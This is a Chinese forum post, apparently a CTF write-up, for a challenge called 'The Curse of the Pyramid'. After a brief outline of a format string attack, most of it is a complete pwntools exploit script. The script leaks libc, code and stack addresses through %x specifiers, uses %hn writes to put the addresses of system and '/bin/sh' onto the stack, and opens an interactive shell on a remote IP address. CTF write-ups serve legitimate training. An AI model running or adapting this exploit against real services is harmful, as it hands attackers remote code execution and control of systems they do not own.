首页
社区
课程
招聘
[原创] 第三题:金字塔的诅咒
2019-6-22 22:09 2319

[原创] 第三题:金字塔的诅咒

2019-6-22 22:09
2319

格式化字符串攻击。
泄露栈地址,libc地址
栈上存在指向栈的指针
通过格式化字符串攻击修改栈上内容,使其指向rbp-4和rbp-8
通过格式化字符串攻击写rop

base=0x56555000
from pwn import *
cn=remote("152.136.18.34",9999)
#cn=process("./format",shell=False )
elf=ELF("./format")
context.log_level='debug'
#gdb.attach(cn,"b *"+hex(base+0x8F8)+"\n b *"+hex(base+0x890))

def send_data(inx,data):
    cn.sendafter("oice:",inx)
    cn.sendlineafter("ou want to say:",data)

def change(offset,data):
    send_data("1\n", "%" + str(u16(data)) + "c%%%d$hn"%offset)

send_data("1","%11$x")
libc_base=int(cn.recv(8),16)-0x18637
success(hex(libc_base))
sys_addr=libc_base+0x03a940
sh_addr=libc_base+0x15902b

send_data("1","%3$x")
code_base=int(cn.recv(8),16)-0x8f3
success(hex(code_base))
string_addr=code_base+0x200C

send_data("1","%5$x")
stack=int(cn.recv(8),16)-0xcc
success(hex(stack))
rbp_addr=stack+0x30
step1_addr=rbp_addr+0xac
buf_addr=rbp_addr-0x10
success(hex(buf_addr))
success(hex(rbp_addr))
success(hex(step1_addr))

change(5,p32(rbp_addr+4)[0:2])
change(53,p32(sys_addr)[0:2])
change(5,p32(rbp_addr+6)[0:2])
change(53,p32(sys_addr)[2:4])

change(5,p32(rbp_addr+12)[0:2])
change(53,p32(sh_addr)[0:2])
change(5,p32(rbp_addr+14)[0:2])
change(53,p32(sh_addr)[2:4])
cn.recv()

cn.interactive()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回